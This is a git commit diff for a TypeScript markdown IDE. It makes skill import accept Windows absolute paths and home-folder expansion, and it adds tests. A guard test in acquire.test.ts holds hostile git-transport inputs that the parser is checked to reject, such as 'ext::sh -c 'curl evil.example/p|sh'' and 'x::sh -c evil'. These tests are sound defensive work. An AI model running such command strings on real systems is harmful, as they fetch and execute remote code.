Beautiful, AI-native markdown IDE and LLM wiki
TypeScript 2nd-brainagent-skillsclaudecodexcompany-braindocsknowledge-knowledge-baseknowledge-managementllmllm-wikillm-wiki-karpathymarkdownmarkdown-editormdmdxnotespkmsecond-brainskills
fix(ok): accept Windows absolute paths in skill import (PRD-8929) (#5443)
tim-inkeep26efeb1cdcc1
diff --git a/.changeset/windows-skill-import-paths.md b/.changeset/windows-skill-import-paths.mdnew file mode 100644index 000000000..3013c63c2--- /dev/null+++ b/.changeset/windows-skill-import-paths.md@@ -0,0 +1,5 @@+---+"@inkeep/open-knowledge": patch+---++Importing skills from a local folder on Windows now accepts absolute paths like `C:\skills`, `C:/skills`, network paths and `file:///C:/skills`, and `~` expands to your home folder.diff --git a/packages/app/src/hooks/use-skill-origin.ts b/packages/app/src/hooks/use-skill-origin.tsindex eedd1a969..7808076f1 100644--- a/packages/app/src/hooks/use-skill-origin.ts+++ b/packages/app/src/hooks/use-skill-origin.ts@@ -1,4 +1,9 @@-import { type SkillOrigin, type SkillScope, skillsShSkillLinks } from '@inkeep/open-knowledge-core';+import {+ isLocalSkillSource,+ type SkillOrigin,+ type SkillScope,+ skillsShSkillLinks,+} from '@inkeep/open-knowledge-core';import { useLingui } from '@lingui/react/macro';import { useEffect, useState } from 'react';import { toast } from 'sonner';@@ -28,15 +33,7 @@ const autoApplied = new Set<string>();export function skillAutoUpdateEnabled(origin: SkillOrigin | null): boolean {if (!origin) return false;if (origin.autoUpdate !== undefined) return origin.autoUpdate;- const source = origin.source.trim();- return (- source.startsWith('/') ||- source.startsWith('.') ||- source.startsWith('~') ||- source.startsWith('file://') ||- /^[A-Za-z]:[\\/]/.test(source) ||- source.startsWith('\\\\')- );+ return isLocalSkillSource(origin.source.trim());}export function useSkillOrigin({ scope, name }: { scope: SkillScope; name: string }): {diff --git a/packages/core/src/index.ts b/packages/core/src/index.tsindex 1c141aa13..1f7ecb2f2 100644--- a/packages/core/src/index.ts+++ b/packages/core/src/index.ts@@ -1966,6 +1966,7 @@ export {SkillCostTiersSchema,} from './skills-catalog/skill-cost.ts';export {+ isLocalSkillSource,parseSkillsShCatalogSource,type SkillsShCatalogSource,type SkillsShSkillLinks,diff --git a/packages/core/src/skills-catalog/acquire/acquire.test.ts b/packages/core/src/skills-catalog/acquire/acquire.test.tsindex 7caeecdf3..3b8d448e7 100644--- a/packages/core/src/skills-catalog/acquire/acquire.test.ts+++ b/packages/core/src/skills-catalog/acquire/acquire.test.ts@@ -163,7 +163,29 @@ describe('parseSource', () => {expect(parseSource(' ')).toBeNull();});+ test('classifies Windows absolute paths as local', () => {+ expect(parseSource('C:/path/to/dir')).toEqual({ kind: 'local', path: 'C:/path/to/dir' });+ expect(parseSource('C:\\path\\to\\dir')).toEqual({+ kind: 'local',+ path: 'C:\\path\\to\\dir',+ });+ expect(parseSource('d:\\skills')).toEqual({ kind: 'local', path: 'd:\\skills' });+ expect(parseSource('\\\\server\\share\\skills')).toEqual({+ kind: 'local',+ path: '\\\\server\\share\\skills',+ });+ expect(parseSource('file:///C:/path/to/dir')).toEqual({+ kind: 'local',+ path: 'C:/path/to/dir',+ });+ expect(parseSource('file:///C:\\path\\to\\dir')).toEqual({+ kind: 'local',+ path: 'C:\\path\\to\\dir',+ });+ });+test('rejects command-executing git transports (ext:: RCE guard)', () => {+ expect(parseSource('x::sh -c evil')).toBeNull();expect(parseSource("ext::sh -c 'curl evil.example/p|sh' x://y")).toBeNull();expect(parseSource('ext::curl evil.example')).toBeNull();expect(parseSource('fd::17/foo')).toBeNull();diff --git a/packages/core/src/skills-catalog/acquire/fetch-home.test.ts b/packages/core/src/skills-catalog/acquire/fetch-home.test.tsnew file mode 100644index 000000000..fd793a606--- /dev/null+++ b/packages/core/src/skills-catalog/acquire/fetch-home.test.ts@@ -0,0 +1,33 @@+import { mkdirSync, mkdtempSync, rmSync } from 'node:fs';+import { join } from 'node:path';+import { afterAll, afterEach, describe, expect, test, vi } from 'vitest';++const fakeHome = vi.hoisted(() => ({ dir: '' }));++vi.mock('node:os', async (importOriginal) => {+ const actual = await importOriginal<typeof import('node:os')>();+ return { ...actual, homedir: () => fakeHome.dir };+});++const { tmpdir } = await vi.importActual<typeof import('node:os')>('node:os');+const { fetchSource } = await import('./fetch.ts');++fakeHome.dir = mkdtempSync(join(tmpdir(), 'ok-fake-home-'));+mkdirSync(join(fakeHome.dir, 'skills'));++afterAll(() => rmSync(fakeHome.dir, { recursive: true, force: true }));+afterEach(() => vi.unstubAllEnvs());++describe('fetchSource home expansion', () => {+ test('expands ~ through os.homedir(), not HOME', async () => {+ vi.stubEnv('HOME', join(fakeHome.dir, 'not-home'));+ const fetched = await fetchSource({ kind: 'local', path: '~/skills' });+ expect(fetched.dir).toBe(join(fakeHome.dir, 'skills'));+ });++ test('expands ~ followed by a backslash', async () => {+ await expect(fetchSource({ kind: 'local', path: '~\\skills' })).rejects.toThrow(+ `Local path not found: ${fakeHome.dir}\\skills`,+ );+ });+});diff --git a/packages/core/src/skills-catalog/acquire/fetch.ts b/packages/core/src/skills-catalog/acquire/fetch.tsindex 2ba6beb90..c8efb8f8a 100644--- a/packages/core/src/skills-catalog/acquire/fetch.ts+++ b/packages/core/src/skills-catalog/acquire/fetch.ts@@ -1,8 +1,9 @@import { execFile, execFileSync } from 'node:child_process';import { existsSync, mkdtempSync, rmSync } from 'node:fs';-import { tmpdir } from 'node:os';+import { homedir, tmpdir } from 'node:os';import { isAbsolute, join, relative, resolve } from 'node:path';import { promisify } from 'node:util';+import { isLocalSkillSource } from '../source-fields.ts';import { SkillFetchError } from './errors.ts';import {fetchWellKnownSkill,@@ -36,9 +37,11 @@ export const ALLOWED_GIT_TRANSPORTS: readonly RegExp[] = [export function parseSource(raw: string): SourceSpec | null {const s = raw.trim();if (s === '') return null;- if (s.startsWith('file://')) return { kind: 'local', path: s.slice('file://'.length) };- if (s.startsWith('/') || s.startsWith('.') || s.startsWith('~'))- return { kind: 'local', path: s };+ if (s.startsWith('file://')) {+ const path = s.slice('file://'.length);+ return { kind: 'local', path: /^\/[A-Za-z]:[\\/]/.test(path) ? path.slice(1) : path };+ }+ if (isLocalSkillSource(s)) return { kind: 'local', path: s };if (s.startsWith('git@') || s.includes('://')) {if (!ALLOWED_GIT_TRANSPORTS.some((p) => p.test(s))) return null;return { kind: 'git', url: s };@@ -99,7 +102,7 @@ export async function fetchSource(): Promise<Fetched> {if (spec.kind === 'well-known') return fetchWellKnownSkill(spec, opts);if (spec.kind === 'local') {- const dir = resolve(spec.path.replace(/^~(?=\/|$)/, process.env.HOME ?? '~'));+ const dir = resolve(spec.path.replace(/^~(?=[\\/]|$)/, homedir()));if (!existsSync(dir)) throw new SkillFetchError(`Local path not found: ${dir}`);return { dir, cleanup: () => {} };}diff --git a/packages/core/src/skills-catalog/index.ts b/packages/core/src/skills-catalog/index.tsindex ca7ae4c8a..c4ee21cc7 100644--- a/packages/core/src/skills-catalog/index.ts+++ b/packages/core/src/skills-catalog/index.ts@@ -98,6 +98,7 @@ export {skillRegistryKey,} from './skill-registry.ts';export {+ isLocalSkillSource,ownerOf,parseSkillsShCatalogSource,type SkillsShCatalogSource,diff --git a/packages/core/src/skills-catalog/source-fields.test.ts b/packages/core/src/skills-catalog/source-fields.test.tsindex 85672a2f8..1e7ae724d 100644--- a/packages/core/src/skills-catalog/source-fields.test.ts+++ b/packages/core/src/skills-catalog/source-fields.test.ts@@ -1,6 +1,11 @@import { describe, expect, test } from 'vitest';import { parseSkillsShSource } from './acquire/fetch.ts';-import { ownerOf, parseSkillsShCatalogSource, skillsShSkillLinks } from './source-fields.ts';+import {+ isLocalSkillSource,+ ownerOf,+ parseSkillsShCatalogSource,+ skillsShSkillLinks,+} from './source-fields.ts';describe('parseSkillsShCatalogSource', () => {test('distinguishes GitHub repositories from website publishers', () => {@@ -74,3 +79,32 @@ describe('the skills.sh URL we render is one we can parse back', () => {});});});++describe('isLocalSkillSource', () => {+ test.each([+ '/abs/skill',+ './rel/skill',+ '../up/skill',+ '~/skill',+ '~\\skill',+ 'file:///abs/skill',+ 'C:/skills',+ 'C:\\skills',+ 'd:\\skills',+ '\\\\server\\share\\skills',+ ])('%s is local', (source) => {+ expect(isLocalSkillSource(source)).toBe(true);+ });++ test.each([+ 'owner/repo',+ 'https://github.com/o/r.git',+ '[email protected]:o/r.git',+ 'x::sh -c evil',+ 'C:skills',+ 'ab:/skills',+ '',+ ])('%s is not local', (source) => {+ expect(isLocalSkillSource(source)).toBe(false);+ });+});diff --git a/packages/core/src/skills-catalog/source-fields.ts b/packages/core/src/skills-catalog/source-fields.tsindex 7c5bc6777..5add44462 100644--- a/packages/core/src/skills-catalog/source-fields.ts+++ b/packages/core/src/skills-catalog/source-fields.ts@@ -54,3 +54,14 @@ export function slug(id: string): string {const last = id.split('/').pop();return last && last.length > 0 ? last : id;}++export function isLocalSkillSource(source: string): boolean {+ return (+ source.startsWith('/') ||+ source.startsWith('.') ||+ source.startsWith('~') ||+ source.startsWith('file://') ||+ /^[A-Za-z]:[\\/]/.test(source) ||+ source.startsWith('\\\\')+ );+}